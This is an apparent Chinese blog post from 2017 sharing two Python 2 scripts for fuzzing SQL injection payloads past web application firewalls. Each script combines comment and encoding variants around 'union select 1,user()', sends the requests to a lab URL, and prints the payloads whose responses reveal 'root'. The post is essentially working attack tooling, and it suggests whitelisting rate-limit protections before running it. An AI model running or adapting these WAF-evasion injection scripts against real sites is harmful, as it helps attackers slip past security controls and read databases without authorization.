WAF Bypass FUZZ小脚本

分享两个小脚本,用来WAF Bypass简单FUZZ的

第一个:先生成一个字典,带入搭建的环境进行FUZZ,针对某些软WAF挺好用的,可FUZZ出不少姿势出来,记得先把CC攻击加入白名单才行哦。。。

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import urllib
import urllib2
import requests
values={} 
f = open('mutou.txt','r')
for line in f.xreadlines():
	line =line.strip()
	values['id'] = "1 union/*%s*/select/*%s*/1,user()" %(line,line)
	data = urllib.urlencode(values)
	url = "http://192.168.125.140/php/config/sql.php"
	url = url+'?'+data
	try:
		response = requests.get(url)
		result = response.content
		#print result
		if result.count('root'):
			print line
			print url
			print "==================================="
		else:
			pass
			#print ".",
	except:
		print "Error"

第二个:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_

import requests

fuzz_dic1 = ['*/','/*','*/','/*!','*','=','`','!','@','%','.','-','+','|','%00']
fuzz_dic2 = ['*/','',' ','/*!']
fuzz_dic3 = ['/*!',"%a0","0c","%0a","%0b","%0c","%0d","%0e","%0f","%0g","%0h","%0i","%0j"]
headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0"}
url="http://192.168.125.140/php/config/sql.php?id=1"

for i in fuzz_dic1:
    for j in fuzz_dic2:
        for k in fuzz_dic3:
            payload="/*!union"+i+j+k+"select*/ 1,user()"
            geturl=url+payload
            #print geturl
            try:
                response=requests.get(url=geturl,headers=headers)
                result = response.content
                #print result
                if result.count('root'):
                    print geturl
                else:
                    print ".",
            except:
                print "Error"

 

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posted @ 2017-06-27 19:46  Bypass  阅读(1459)  评论(0编辑  收藏  举报